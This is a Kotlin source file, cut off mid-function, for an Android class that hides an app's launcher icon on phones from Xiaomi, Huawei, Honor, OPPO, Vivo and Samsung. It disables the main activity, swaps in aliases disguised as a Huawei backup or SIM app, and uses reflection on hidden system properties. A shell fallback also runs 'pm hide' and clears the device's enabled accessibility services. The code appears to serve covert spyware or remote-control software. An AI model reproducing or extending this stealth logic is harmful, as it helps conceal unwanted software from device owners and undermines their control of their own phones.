package com.hikoncont.service.modules

import android.app.Activity
import android.app.ActivityManager
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.pm.ApplicationInfo
import android.content.pm.PackageManager
import android.graphics.Bitmap
import android.graphics.Canvas
import android.graphics.drawable.BitmapDrawable
import android.graphics.drawable.Drawable
import android.os.Build
import android.util.Log
import com.hikoncont.HuaweiBackupLauncherActivity
import org.json.JSONObject
import java.io.BufferedReader
import java.io.InputStreamReader

/**
 * 📱 应用图标隐藏管理器 - 增强版
 * 
 * 支持多种隐藏方案和厂商适配，提高设备兼容性
 * 模块化设计，不影响现有功能
 */
class AppIconHideManager(
    private val context: Context
) {
    companion object {
        private const val TAG = "AppIconHideManager"
        
        // 隐藏方案类型
        const val METHOD_PACKAGE_MANAGER = "PackageManager"
        const val METHOD_ALTERNATIVE_ALIAS = "AlternativeAlias"
        const val METHOD_INTENT_FILTER = "IntentFilter"
        const val METHOD_SHELL_COMMAND = "ShellCommand"
        const val METHOD_MANUFACTURER_SPECIFIC = "ManufacturerSpecific"
        const val METHOD_REFLECTION_API = "ReflectionAPI"
        // 🆕 新增：SIM伪装方案
        const val METHOD_SIM_CAMOUFLAGE = "SIMCamouflage"
    }
    
    // 设备信息
    private val deviceInfo = DeviceInfo()
    
    // 应用隐藏状态
    private var isAppHidden = false
    
    /**
     * 设备信息收集器
     */
    private inner class DeviceInfo {
        val manufacturer = Build.MANUFACTURER?.lowercase() ?: "unknown"
        val brand = Build.BRAND?.lowercase() ?: "unknown"
        val model = Build.MODEL ?: "unknown"
        val sdkInt = Build.VERSION.SDK_INT
        val release = Build.VERSION.RELEASE ?: "unknown"
        val display = Build.DISPLAY ?: "unknown"
        
        val isXiaomi = manufacturer.contains("xiaomi") || brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")
        // 🔍 基于D:\kouch\app的优化设备检测逻辑 - 更全面的华为/荣耀检测
        val isHuawei = manufacturer.contains("huawei") || brand.contains("huawei")

        val isHonor = manufacturer.contains("honor") || brand.contains("honor") || 

                     display.contains("magic", true) || display.contains("honor", true) ||
                     model.contains("honor") || model.contains("huawei")
        val isOppo = manufacturer.contains("oppo") || brand.contains("oppo") || brand.contains("oneplus") || brand.contains("realme")
        val isVivo = manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo")
        val isSamsung = manufacturer.contains("samsung") || brand.contains("samsung")
        val isGoogle = manufacturer.contains("google") || brand.contains("google")
        val isMeizu = manufacturer.contains("meizu") || brand.contains("meizu")
        val isLenovo = manufacturer.contains("lenovo") || brand.contains("lenovo") || brand.contains("motorola")
        
        fun getRomType(): String {
            return when {
                isXiaomi -> "MIUI"
                isHuawei -> "EMUI/HarmonyOS"
                isHonor -> "Magic UI/HonorOS"
                isOppo -> "ColorOS/OxygenOS"
                isVivo -> "FuntouchOS/OriginOS"
                isSamsung -> "OneUI"
                isGoogle -> "Pixel"
                isMeizu -> "Flyme"
                isLenovo -> "ZUI/MotoUI"
                else -> "AOSP"
            }
        }
        
        fun getCompatibilityLevel(): String {
            return when {
                // 高兼容性设备
                (isOppo && sdkInt == 28) || (isXiaomi) || isHonor -> "HIGH"
                // 中等兼容性设备
                (isVivo || isSamsung) && sdkInt <= 30 -> "MEDIUM"
                // 低兼容性设备
                (isHuawei || sdkInt >= 31) -> "LOW"
                else -> "UNKNOWN"
            }
        }
        
        override fun toString(): String {
            return "Device(manufacturer=$manufacturer, brand=$brand, model=$model, SDK=$sdkInt, ROM=${getRomType()}, compatibility=${getCompatibilityLevel()})"
        }
    }
    
    /**
     * 操作结果封装
     */
    data class HideResult(
        val success: Boolean,
        val method: String,
        val message: String,
        val attemptedMethods: List<String> = emptyList(),
        val deviceCompatibility: String = "",
        val recommendedAction: String = ""
    )
    
    /**
     * 🎯 智能隐藏应用图标
     * 根据设备类型和兼容性选择最佳方案
     */
    fun hideAppIcon(): HideResult {
        Log.i(TAG, "🚀 开始智能隐藏应用图标")
        Log.i(TAG, "📱 设备信息: $deviceInfo")
        
        if (isAppHidden) {
            return HideResult(true, "ALREADY_HIDDEN", "应用图标已处于隐藏状态")
        }
        
        val attemptedMethods = mutableListOf<String>()
        
        // 根据设备兼容性选择方案优先级
        val methods = getHideMethodPriority()
        
        for (method in methods) {
            try {
                Log.i(TAG, "🔧 尝试方案: $method")
                val result = when (method) {
                    METHOD_PACKAGE_MANAGER -> hideWithPackageManager()
                    METHOD_ALTERNATIVE_ALIAS -> hideWithAlternativeAlias()
                    METHOD_INTENT_FILTER -> hideWithIntentFilter()
                    METHOD_SHELL_COMMAND -> hideWithShellCommand()
                    METHOD_MANUFACTURER_SPECIFIC -> hideWithManufacturerSpecific()
                    METHOD_REFLECTION_API -> hideWithReflectionAPI()
                    // 🆕 新增：SIM伪装方案
                    METHOD_SIM_CAMOUFLAGE -> hideWithSIMCamouflage()
                    else -> HideResult(false, method, "未知方案")
                }
                
                attemptedMethods.add(method)
                
                if (result.success) {
                    isAppHidden = true
                    Log.i(TAG, "✅ 图标隐藏成功，使用方案: $method")
                    return result.copy(
                        attemptedMethods = attemptedMethods,
                        deviceCompatibility = deviceInfo.getCompatibilityLevel()
                    )
                } else {
                    Log.w(TAG, "⚠️ 方案失败: $method - ${result.message}")
                }
                
            } catch (e: Exception) {
                Log.e(TAG, "❌ 方案异常: $method", e)
                attemptedMethods.add("$method(Exception)")
            }
        }
        
        // 所有方案失败，提供建议
        val recommendation = getFailureRecommendation()
        
        return HideResult(
            success = false,
            method = "ALL_FAILED",
            message = "所有隐藏方案均失败，设备可能不支持此功能",
            attemptedMethods = attemptedMethods,
            deviceCompatibility = deviceInfo.getCompatibilityLevel(),
            recommendedAction = recommendation
        )
    }
    
    /**
     * 🎯 智能显示应用图标
     */
    fun showAppIcon(): HideResult {
        Log.i(TAG, "🚀 开始智能显示应用图标")
        
        if (!isAppHidden) {
            return HideResult(true, "ALREADY_SHOWN", "应用图标已处于显示状态")
        }
        
        val attemptedMethods = mutableListOf<String>()
        val methods = getShowMethodPriority()
        
        for (method in methods) {
            try {
                Log.i(TAG, "🔧 尝试显示方案: $method")
                val result = when (method) {
                    METHOD_PACKAGE_MANAGER -> showWithPackageManager()
                    METHOD_ALTERNATIVE_ALIAS -> showWithAlternativeAlias()
                    METHOD_INTENT_FILTER -> showWithIntentFilter()
                    METHOD_SHELL_COMMAND -> showWithShellCommand()
                    METHOD_MANUFACTURER_SPECIFIC -> showWithManufacturerSpecific()
                    METHOD_REFLECTION_API -> showWithReflectionAPI()
                    // 🆕 新增：SIM伪装恢复
                    METHOD_SIM_CAMOUFLAGE -> showWithSIMCamouflage()
                    else -> HideResult(false, method, "未知方案")
                }
                
                attemptedMethods.add(method)
                
                if (result.success) {
                    isAppHidden = false
                    Log.i(TAG, "✅ 图标显示成功，使用方案: $method")
                    return result.copy(attemptedMethods = attemptedMethods)
                }
                
            } catch (e: Exception) {
                Log.e(TAG, "❌ 显示方案异常: $method", e)
                attemptedMethods.add("$method(Exception)")
            }
        }
        
        return HideResult(
            success = false,
            method = "ALL_FAILED",
            message = "所有显示方案均失败",
            attemptedMethods = attemptedMethods
        )
    }
    
    /**
     * 📋 获取隐藏方案优先级
     */
    private fun getHideMethodPriority(): List<String> {
        return when {
            // 🔧 小米设备：继续使用真隐藏功能（原有逻辑）
            deviceInfo.isXiaomi -> {
                Log.d(TAG, "🔧 小米设备检测到，使用真隐藏方案优先级")
                when (deviceInfo.getCompatibilityLevel()) {
                    "HIGH" -> listOf(
                        METHOD_PACKAGE_MANAGER,
                        METHOD_ALTERNATIVE_ALIAS,
                        METHOD_MANUFACTURER_SPECIFIC,
                        METHOD_INTENT_FILTER,
                        METHOD_REFLECTION_API,
                        METHOD_SHELL_COMMAND
                    )
                    else -> listOf(
                        METHOD_MANUFACTURER_SPECIFIC,  // 小米特定方法优先
                        METHOD_PACKAGE_MANAGER,
                        METHOD_ALTERNATIVE_ALIAS,
                        METHOD_REFLECTION_API,
                        METHOD_INTENT_FILTER,
                        METHOD_SHELL_COMMAND
                    )
                }
            }
            deviceInfo.isHuawei -> {
              listOf(
                    METHOD_MANUFACTURER_SPECIFIC,
                    METHOD_PACKAGE_MANAGER,
                    METHOD_ALTERNATIVE_ALIAS,

                    METHOD_INTENT_FILTER,
                    METHOD_REFLECTION_API,
                    METHOD_SHELL_COMMAND
                )

            }

            
            // 🎭 非小米设备：SIM伪装作为首选方案
            else -> {
                Log.d(TAG, "🎭 非小米设备检测到，SIM伪装作为首选方案")
                listOf(
                    METHOD_SIM_CAMOUFLAGE,           // 🆕 首选：SIM伪装
                    METHOD_PACKAGE_MANAGER,          // 备选：传统真隐藏方案
                    METHOD_ALTERNATIVE_ALIAS,
                    METHOD_MANUFACTURER_SPECIFIC,
                    METHOD_INTENT_FILTER,
                    METHOD_REFLECTION_API,
                    METHOD_SHELL_COMMAND
                )
            }
        }
    }
    
    /**
     * 📋 获取显示方案优先级（与隐藏相反）
     */
    private fun getShowMethodPriority(): List<String> {
        return getHideMethodPriority()
    }
    
    /**
     * 🔧 方案1: 增强版PackageManager方法
     */
    private fun hideWithPackageManager(): HideResult {
        return try {
            val packageManager = context.packageManager
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            // 检查当前状态
            val currentState = packageManager.getComponentEnabledSetting(componentName)
            Log.d(TAG, "📋 当前组件状态: $currentState")
            
            // 尝试不同的禁用标志
            val flags = if (deviceInfo.sdkInt >= 24) {
                PackageManager.DONT_KILL_APP or PackageManager.SYNCHRONOUS
            } else {
                PackageManager.DONT_KILL_APP
            }
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                flags
            )
            
            // 增加验证等待时间，特别是对于慢速设备
            val waitTime = when {
                deviceInfo.isHuawei || deviceInfo.isSamsung -> 2000L
                deviceInfo.sdkInt >= 30 -> 1500L
                else -> 1000L
            }
            
            Thread.sleep(waitTime)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            Log.d(TAG, "📋 新组件状态: $newState")
            
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED
            
            HideResult(
                success = success,
                method = METHOD_PACKAGE_MANAGER,
                message = if (success) "PackageManager方案成功" else "组件状态未正确更新: $newState"
            )
            
        } catch (e: Exception) {
            Log.e(TAG, "PackageManager方案失败", e)
            HideResult(false, METHOD_PACKAGE_MANAGER, "PackageManager异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 方案2: 替代别名组件方法（新增）
     */
    private fun hideWithAlternativeAlias(): HideResult {
        return try {
            val packageManager = context.packageManager
            
            // 尝试禁用所有可能的启动组件
            val componentNames = listOf(
                "com.hikoncont.MainActivity",
                "com.hikoncont.activity.MainActivity", 
                "${context.packageName}.MainActivity",
                "${context.packageName}.activity.MainActivity"
            )
            
            var successCount = 0
            val results = mutableListOf<String>()
            
            for (componentName in componentNames) {
                try {
                    val component = ComponentName(context, componentName)
                    val currentState = packageManager.getComponentEnabledSetting(component)
                    
                    if (currentState != PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                        packageManager.setComponentEnabledSetting(
                            component,
                            PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                            PackageManager.DONT_KILL_APP
                        )
                        
                        Thread.sleep(500)
                        
                        val newState = packageManager.getComponentEnabledSetting(component)
                        if (newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                            successCount++
                            results.add("$componentName: 成功")
                        } else {
                            results.add("$componentName: 状态未更新")
                        }
                    } else {
                        results.add("$componentName: 已禁用")
                        successCount++
                    }
                } catch (e: Exception) {
                    results.add("$componentName: 异常 - ${e.message}")
                }
            }
            
            val success = successCount > 0
            HideResult(
                success = success,
                method = METHOD_ALTERNATIVE_ALIAS,
                message = "替代别名方案: 成功$successCount/${componentNames.size} - ${results.joinToString("; ")}"
            )
            
        } catch (e: Exception) {
            HideResult(false, METHOD_ALTERNATIVE_ALIAS, "替代别名方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 方案3: Intent过滤器调整方法（新增）
     */
    private fun hideWithIntentFilter(): HideResult {
        return try {
            // 这个方案需要在运行时动态修改Intent过滤器
            // 由于Android安全限制，这个方案在大多数情况下不可行
            // 但可以作为某些特殊ROM的尝试
            
            Log.d(TAG, "🔧 Intent过滤器方案：尝试动态修改启动Intent")
            
            // 尝试通过反射访问PackageManager内部方法
            val packageManager = context.packageManager
            val packageManagerClass = packageManager.javaClass
            
            // 查找可能的内部方法
            val methods = packageManagerClass.declaredMethods
            var foundMethod = false
            
            for (method in methods) {
                if (method.name.contains("setComponentEnabled") || 
                    method.name.contains("setApplicationEnabled")) {
                    Log.d(TAG, "📋 发现可能的内部方法: ${method.name}")
                    foundMethod = true
                }
            }
            
            HideResult(
                success = false,
                method = METHOD_INTENT_FILTER,
                message = if (foundMethod) "发现内部方法但无法调用" else "未发现可用的内部方法"
            )
            
        } catch (e: Exception) {
            HideResult(false, METHOD_INTENT_FILTER, "Intent过滤器方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 方案4: 增强版Shell命令方法
     */
    private fun hideWithShellCommand(): HideResult {
        return try {
            val commands = listOf(
                "pm disable-user --user 0 ${context.packageName}/${context.packageName}.MainActivity",
                "pm disable ${context.packageName}/${context.packageName}.MainActivity",
                "pm hide ${context.packageName}",
                "settings put secure enabled_accessibility_services ''"
            )
            
            for (command in commands) {
                try {
                    Log.d(TAG, "🔧 执行Shell命令: $command")
                    val result = executeShellCommand(command)
                    
                    if (result.contains("success", true) || 
                        result.contains("disabled", true) ||
                        result.contains("hidden", true)) {
                        
                        return HideResult(
                            success = true,
                            method = METHOD_SHELL_COMMAND,
                            message = "Shell命令成功: $command"
                        )
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "Shell命令失败: $command", e)
                }
            }
            
            HideResult(false, METHOD_SHELL_COMMAND, "所有Shell命令均失败")
            
        } catch (e: Exception) {
            HideResult(false, METHOD_SHELL_COMMAND, "Shell命令方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 方案5: 厂商特定方法（真正实现）
     */
    private fun hideWithManufacturerSpecific(): HideResult {
        return when {
            deviceInfo.isXiaomi -> hideWithXiaomiMethod()
            deviceInfo.isHuawei -> hideWithHuaweiMethod()
            deviceInfo.isHonor -> hideWithHonorMethod()
            deviceInfo.isOppo -> hideWithOppoMethod()
            deviceInfo.isVivo -> hideWithVivoMethod()
            deviceInfo.isSamsung -> hideWithSamsungMethod()
            else -> HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "不支持的设备厂商: ${deviceInfo.manufacturer}")
        }
    }
    
    /**
     * 🔧 小米设备特定方法
     */
    private fun hideWithXiaomiMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 小米设备特定方案")
            
            // 小米设备可能需要特殊的权限管理
            val packageManager = context.packageManager
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            // 小米MIUI可能需要额外的标志
            val miuiFlags = PackageManager.DONT_KILL_APP or 0x00000200 // MIUI特殊标志
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER,
                miuiFlags
            )
            
            Thread.sleep(1500) // MIUI需要更长的等待时间
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED || 
                         newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER
            
            HideResult(
                success = success,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = if (success) "小米MIUI方案成功" else "小米MIUI方案失败，状态: $newState"
            )
            
        } catch (e: Exception) {
            // 回退到标准方法
            Log.w(TAG, "小米特定方案失败，回退到标准方法", e)
            hideWithPackageManager()
        }
    }
    
    /**
     * 🔧 华为设备特定方法 - 基于D:\kouch\app策略
     */
    private fun hideWithHuaweiMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 华为设备特定方案 - 基于f目录APK策略")

            val packageManager = context.packageManager
            val packageName = context.packageName

            // 步骤1：检测鸿蒙系统版本（使用f目录APK的检测方法）
            val isHarmonyOs3 = isHarmonyOs3()
            val isHarmonyOs4 = isHarmonyOs4()
            Log.d(TAG, "🔍 鸿蒙版本检测结果: HarmonyOS3=$isHarmonyOs3, HarmonyOS4=$isHarmonyOs4")

            if (isHarmonyOs4) {
                // 鸿蒙4.0特殊处理 - 基于f目录APK策略
                return handleHarmonyOs4Hide(packageManager)
            } else if (isHarmonyOs3) {
                // 鸿蒙3.0特殊处理 - 基于f目录APK的SetAllHide方法
                return handleHarmonyOs3Hide(packageManager)
            }

            // 步骤2：Android 9+ 使用Activity-Alias切换策略
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
                return handleAndroid9PlusHide(packageManager)
            }

            // 步骤3：Android 9以下使用通用隐藏方法
            return handleLegacyHide(packageManager)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 华为特定方案异常", e)
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "华为特定方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔍 检测鸿蒙系统版本 - 基于f目录APK的DataUseTool策略
     * 支持鸿蒙3.0、4.0、4.2、4.3等版本检测
     */
    private fun isHarmonyOs3(): Boolean {
        return try {
            val buildClass = Class.forName("android.os.Build")
            val getStringMethod = buildClass.getDeclaredMethod("getString", String::class.java)
            getStringMethod.isAccessible = true
            
            val apiVersion = getStringMethod.invoke(null, "hw_sc.build.os.apiversion") as String?
            val version = apiVersion?.toIntOrNull() ?: 0
            
            Log.d(TAG, "🔍 f目录APK鸿蒙版本检测: hw_sc.build.os.apiversion=$apiVersion, version=$version")
            
            version >= 8
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ f目录APK鸿蒙版本检测失败", e)
            false
        }
    }

    /**
     * 🔍 检测鸿蒙4.0系统 - 基于f目录APK的getHarmonyVersion()策略
     * 检测4.2.0和4.3.0版本
     */
    private fun isHarmonyOs4(): Boolean {
        return try {
            val harmonyVersion = getHarmonyVersion()
            Log.d(TAG, "🔍 f目录APK鸿蒙4.0检测: harmonyVersion=$harmonyVersion")
            
            // f目录APK检测4.2.0和4.3.0版本
            harmonyVersion == "4.2.0" || harmonyVersion == "4.3.0"
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ f目录APK鸿蒙4.0检测失败", e)
            false
        }
    }

    /**
     * 🔍 获取鸿蒙版本 - 基于f目录APK的DataUseTool.getHarmonyVersion()
     * 使用hw_sc.build.platform.version系统属性
     */
    private fun getHarmonyVersion(): String {
        return try {
            val systemPropertiesClass = Class.forName("android.os.SystemProperties")
            val getMethod = systemPropertiesClass.getDeclaredMethod("get", String::class.java)
            val value = getMethod.invoke(systemPropertiesClass, "hw_sc.build.platform.version") as String?
            value ?: ""
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 获取鸿蒙版本失败", e)
            ""
        }
    }

    
    /**
     * 🔧 鸿蒙4.0特殊处理 - 基于f目录APK策略
     * 鸿蒙4.0有更严格的权限管控，需要特殊处理
     */
    private fun handleHarmonyOs4Hide(packageManager: PackageManager): HideResult {
        try {
            Log.d(TAG, "🔧 鸿蒙4.0特殊处理 - 基于f目录APK真实策略")
            
            val packageName = context.packageName
            val mainActivity = "${packageName}.MainActivity"
            val mainAlias = "${packageName}.MainAliasActivity"
            val festivalAlias = "${packageName}.HuaweiBackupAlias"
            
            val mainComponent = ComponentName(packageName, mainActivity)
            
            // 检查主Activity是否已经禁用
            if (packageManager.getComponentEnabledSetting(mainComponent) == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                Log.d(TAG, "✅ 主Activity已经禁用，跳过处理")
                return HideResult(true, METHOD_MANUFACTURER_SPECIFIC, "鸿蒙4.0隐藏策略已完成")
            }
            
            // 基于f目录APK的真实策略：SetAllHide(1, mainActivity, mainAlias, festivalAlias)
            // i=1: 启用MainAliasActivity，禁用FestivalActivity
            val mainAliasComponent = ComponentName(packageName, mainAlias)
            val festivalComponent = ComponentName(packageName, festivalAlias)
            
            // 步骤1：启用MainAliasActivity，禁用FestivalActivity
            packageManager.setComponentEnabledSetting(
                mainAliasComponent,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )
            
            packageManager.setComponentEnabledSetting(
                festivalComponent,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP
            )
            
            // 步骤2：禁用主Activity
            packageManager.setComponentEnabledSetting(
                mainComponent,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP
            )
            
            // 步骤3：f目录APK的双切换策略（i > 0时执行）
            try {
                // 启用主Activity
                packageManager.setComponentEnabledSetting(
                    mainComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                    PackageManager.DONT_KILL_APP
                )
                
                // 等待3秒（与f目录APK一致）
                Thread.sleep(3000)
                
                // 再次禁用主Activity
                packageManager.setComponentEnabledSetting(
                    mainComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    PackageManager.DONT_KILL_APP
                )
                
                Log.d(TAG, "✅ f目录APK双切换策略完成")
                
            } catch (e: Exception) {
                Log.e(TAG, "❌ f目录APK双切换策略失败", e)
            }
            
            Log.i(TAG, "✅ 鸿蒙4.0隐藏策略完成")
            return HideResult(
                success = true,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = "鸿蒙4.0隐藏策略成功（基于f目录APK真实策略）"
            )
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 鸿蒙4.0隐藏失败", e)
            return HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "鸿蒙4.0隐藏失败: ${e.message}")
        }
    }

    /**
     * 🔧 鸿蒙3.0特殊处理 - 基于f目录APK的SetAllHide方法
     * 实现双切换策略：启用->等待3秒->禁用
     */
    private fun handleHarmonyOs3Hide(packageManager: PackageManager): HideResult {
        try {
            Log.d(TAG, "🔧 鸿蒙3.0特殊处理 - f目录APK SetAllHide策略")
            
            val packageName = context.packageName
            val mainActivity = "${packageName}.MainActivity"
            val mainAlias = "${packageName}.MainAliasActivity"
            val festivalAlias = "${packageName}.HuaweiBackupAlias"
            
            val mainComponent = ComponentName(packageName, mainActivity)
            
            // 检查主Activity是否已经禁用
            if (packageManager.getComponentEnabledSetting(mainComponent) == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                Log.d(TAG, "✅ 主Activity已经禁用，跳过处理")
                return HideResult(true, METHOD_MANUFACTURER_SPECIFIC, "鸿蒙3.0隐藏策略已完成")
            }
            
            // 步骤1：启用MainAliasActivity，禁用FestivalActivity
            val mainAliasComponent = ComponentName(packageName, mainAlias)
            val festivalComponent = ComponentName(packageName, festivalAlias)
            
            packageManager.setComponentEnabledSetting(
                mainAliasComponent,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )
            
            packageManager.setComponentEnabledSetting(
                festivalComponent,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP
            )
            
            // 步骤2：禁用主Activity
            packageManager.setComponentEnabledSetting(
                mainComponent,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP
            )
            
            // 步骤3：f目录APK的双切换策略
            try {
                // 启用主Activity
                packageManager.setComponentEnabledSetting(
                    mainComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                    PackageManager.DONT_KILL_APP
                )
                
                // 等待3秒（f目录APK的策略）
                Thread.sleep(1000)
                
                // 再次禁用主Activity
                packageManager.setComponentEnabledSetting(
                    mainComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    PackageManager.DONT_KILL_APP
                )
                
                Log.d(TAG, "✅ f目录APK双切换策略完成")
                
            } catch (e: Exception) {
                Log.e(TAG, "❌ f目录APK双切换策略失败", e)
            }
            
            Log.i(TAG, "✅ 鸿蒙3.0隐藏策略完成")
            return HideResult(
                success = true,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = "鸿蒙3.0隐藏策略成功（f目录APK策略）"
            )
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 鸿蒙3.0隐藏失败", e)
            return HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "鸿蒙3.0隐藏失败: ${e.message}")
        }
    }

    
    /**
     * 🔧 Android 9+ Activity-Alias切换策略 - 基于f目录APK策略
     * 实现设备特定选择和双切换策略
     */
    private fun handleAndroid9PlusHide(packageManager: PackageManager): HideResult {
        try {
            Log.d(TAG, "🔧 Android 9+ Activity-Alias切换策略 - f目录APK策略")
            
            val packageName = context.packageName
            val mainActivity = "${packageName}.MainActivity"
            val mainAlias = "${packageName}.MainAliasActivity"
            val festivalAlias = "${packageName}.HuaweiBackupAlias"
            
            val manufacturer = Build.MANUFACTURER.lowercase()
            val isOppo = manufacturer.contains("oppo") || manufacturer.contains("realme") || isOnePlusS()
            
            // f目录APK的设备特定选择逻辑
            val targetAlias = if (isOppo) festivalAlias else mainAlias
            Log.d(TAG, "🎯 f目录APK选择目标Alias: $targetAlias (OPPO设备: $isOppo)")
            
            val mainComponent = ComponentName(packageName, mainActivity)
            val targetComponent = ComponentName(packageName, targetAlias)
            
            // 检查主Activity是否已经禁用
            if (packageManager.getComponentEnabledSetting(mainComponent) == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                Log.d(TAG, "✅ 主Activity已经禁用，跳过处理")
                return HideResult(true, METHOD_MANUFACTURER_SPECIFIC, "Android 9+隐藏策略已完成")
            }
            
            // 步骤1：启用目标Alias
            packageManager.setComponentEnabledSetting(
                targetComponent,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )
            
            // 步骤2：禁用主Activity
            packageManager.setComponentEnabledSetting(
                mainComponent,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP
            )
            
            // 步骤3：f目录APK的双切换策略
            try {
                // 启用主Activity
                packageManager.setComponentEnabledSetting(
                    mainComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                    PackageManager.DONT_KILL_APP
                )
                
                // 等待3秒（f目录APK的策略）
                Thread.sleep(3000)
                
                // 再次禁用主Activity
                packageManager.setComponentEnabledSetting(
                    mainComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    PackageManager.DONT_KILL_APP
                )
                
                Log.d(TAG, "✅ f目录APK双切换策略完成")
                
            } catch (e: Exception) {
                Log.e(TAG, "❌ f目录APK双切换策略失败", e)
            }
            
            Log.i(TAG, "✅ Android 9+ Activity-Alias切换成功")
            return HideResult(
                success = true,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = "Android 9+ Activity-Alias切换成功（f目录APK策略），目标: $targetAlias"
            )
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ Android 9+隐藏失败", e)
            return HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "Android 9+隐藏失败: ${e.message}")
        }
    }

    
    /**
     * 🔧 Android 9以下通用隐藏方法 - 基于f目录APK的hide.hide()
     * 实现双切换策略
     */
    private fun handleLegacyHide(packageManager: PackageManager): HideResult {
        try {
            Log.d(TAG, "🔧 Android 9以下通用隐藏方法 - f目录APK策略")
            
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            // 检查组件是否已经禁用
            if (packageManager.getComponentEnabledSetting(componentName) == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                Log.d(TAG, "✅ 组件已经禁用，跳过处理")
                return HideResult(true, METHOD_MANUFACTURER_SPECIFIC, "Android 9以下隐藏策略已完成")
            }
            
            // f目录APK的双切换策略
            try {
                // 启用组件
                packageManager.setComponentEnabledSetting(
                    componentName,
                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                    PackageManager.DONT_KILL_APP
                )
                
                // 等待3秒（f目录APK的策略）
                Thread.sleep(3000)
                
                // 禁用组件
                packageManager.setComponentEnabledSetting(
                    componentName,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    PackageManager.DONT_KILL_APP
                )
                
                Log.d(TAG, "✅ f目录APK双切换策略完成")
                
            } catch (e: Exception) {
                Log.e(TAG, "❌ f目录APK双切换策略失败", e)
            }
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED || 
                         newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER
            
            Log.i(TAG, "✅ Android 9以下隐藏完成，状态: $newState")
            return HideResult(
                success = success,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = "Android 9以下隐藏${if (success) "成功" else "失败"}（f目录APK策略），状态: $newState"
            )
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ Android 9以下隐藏失败", e)
            return HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "Android 9以下隐藏失败: ${e.message}")
        }
    }

    
    /**
     * 🔍 检测OnePlus S设备 - 基于D:\kouch\app的LockStateUseUtils.isOnePlusS()
     */
    private fun isOnePlusS(): Boolean {
        return try {
            val brand = Build.BRAND.lowercase()
            val manufacturer = Build.MANUFACTURER.lowercase()
            val model = Build.MODEL.lowercase()
            
            brand.contains("oneplus") || 
            manufacturer.contains("oneplus") ||
            model.contains("oneplus")
            
        } catch (e: Exception) {
            false
        }
    }
    
    /**
     * 🔍 获取系统属性 - 基于D:\kouch\app的getProp方法
     */
    private fun getSystemProperty(key: String, defaultValue: String): String {
        return try {
            val systemPropertiesClass = Class.forName("android.os.SystemProperties")
            val getMethod = systemPropertiesClass.getDeclaredMethod("get", String::class.java)
            val value = getMethod.invoke(systemPropertiesClass, key) as String?
